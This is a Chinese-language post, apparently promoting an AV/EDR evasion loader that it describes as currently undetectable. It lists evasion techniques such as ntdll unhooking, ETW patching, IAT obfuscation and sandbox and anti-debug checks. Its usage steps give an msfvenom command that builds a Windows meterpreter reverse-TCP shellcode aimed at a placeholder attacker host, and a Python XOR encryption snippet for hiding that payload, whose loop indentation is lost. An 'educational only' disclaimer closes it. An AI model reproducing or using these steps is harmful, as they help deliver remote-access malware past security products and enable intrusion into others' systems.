智能摘要 AI
本文介绍了一款用于绕过学习用途安全工具的AV/EDR逃避工具，当前处于隐蔽未知功能（FUD）状态。该工具具备多种逃避技术，如内存扫描逃避、DLL取消挂接、IAT隐藏与混淆、ETW补丁绕过、沙盒逃避及防调试等。用户可通过`msfvenom`生成shellcode并使用XOR加密，最终将其嵌入工具中。文档提供了详细步骤和相关链接供进一步学习。强调该工具仅供教育用途，并建议使用Visual Studio进行编译。
这是一款AV/EDR逃避工具，可以用于绕过学习用的安全工具，目前该工具处于FUD状态。
工具特点：
- 模块破坏用于内存扫描逃避。
- 通过新的ntdll副本取消DLL取消挂接。
- 隐藏IAT和混淆以及API取消挂接。
- 通过ETW Patching绕过某些安全控制。
- 包括沙盒逃避技术和基本的防调试。
- 通过XOR进行完全混淆（函数-密钥-Shellcode）。
- Shellcode被反转和加密。
- 将有效载荷移动到无法使用API的空白内存中。
- GetProcAddress和GetModuleHandle实现@ cocomelonc。
- 运行时不会创建新线程，并支持x64和x86架构。
如何使用：
使用msfvenom工具生成你的shellcode：
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST<IP> LPORT<PORT> -f py
然后将输出复制到加密器的XOR函数中：
data = ...
key = 0x50
print('{ ', end='')
for i in data:
print(hex(i ^ key), end=', ')
print("0x0 };")
最后，您可以处理解密函数，对于脚本小子来说并不容易，您可以在我的文章中了解更多信息：
- Part 1 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-933e50f47af5
- Part 2 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-p2-7a947f7db354
以下是运行后的结果：
重要提示：
- 首先感谢Abdallah Mohammed为我提供帮助^_^。
- 该工具仅用于教育目的。
- 使用Visual Studio编译代码。
评论 (0)